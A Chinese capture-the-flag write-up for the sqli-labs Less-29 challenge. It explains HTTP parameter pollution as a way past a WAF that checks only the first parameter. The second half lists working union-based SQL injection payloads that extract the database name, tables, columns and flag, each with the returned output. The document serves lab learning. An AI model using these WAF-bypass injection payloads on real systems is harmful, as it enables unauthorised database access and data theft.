参数污染
今天刷题时碰到的一个靶场题目,less-29,基于WAF的一个错误。把前面的学到的东西全用上了,还是绕不过这个waf😭于是去网上找wp去了才知道这题涉及参数污染。
参数污染原理
HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。
也就是说不同的web服务器对传入的参数值的获取情况是不同的。
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
对于PHP/Apache服务器来说,当你传入两个参数时?id=1&id=2,他只会接受最后面的这个参数
而他的waf是部署在JSP/Tomcat服务器上的,只对第一个参数进行验证。这样我们就可以对第二个参数进行注入以达到绕过waf的目的了!!!
他的架构图差不多是这种结构,用户端只能和JSP/Tomcat服务器通信,经过waf过滤,把参数传递给apache服务器,apache再返回信息给tomcat,tomcat再返回给客户端。
解题步骤
爆数据库名
payload
?id=1&id=-2'union select 1,2,database()--+
返回为
Your Login name:2
Your Password:security
爆表名
payload
?id=1&id=-2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回为
Your Login name:2
Your Password:Is91EZHt,emails,referers,uagents,users
爆列名
payload
?id=1&id=-2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='Is91EZHt'--+
返回为
Your Login name:2
Your Password:id,flag
找数据
payload
?id=1&id=-2'union select 1,2,group_concat(flag) from Is91EZHt--+
参考博客
HTTP参数污染 - 珍惜少年时 - 博客园 (cnblogs.com)
[参数污染漏洞(HPP)挖掘技巧及实战案例全汇总 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1516333#:~:text=HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。 简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。,在不同的搜索引擎中进行搜索,在地址栏输入URL:%3Fp%3Dusa%26p%3Dchina,这里重复相同搜索参数,观察搜索结果的不同: 2)Yahho接受第二个参数(china)而放弃第一个参数(usa): 3)Google会将两个值都接受,并通过一个空格将两个参数连接起来,组成一个参数: 1)对于PHP%2FApache服务器,取最后一个值: HPP漏洞的产生原因一方面来自服务器处理机制的不同,另一方面来自开发人员后端检测逻辑的问题。)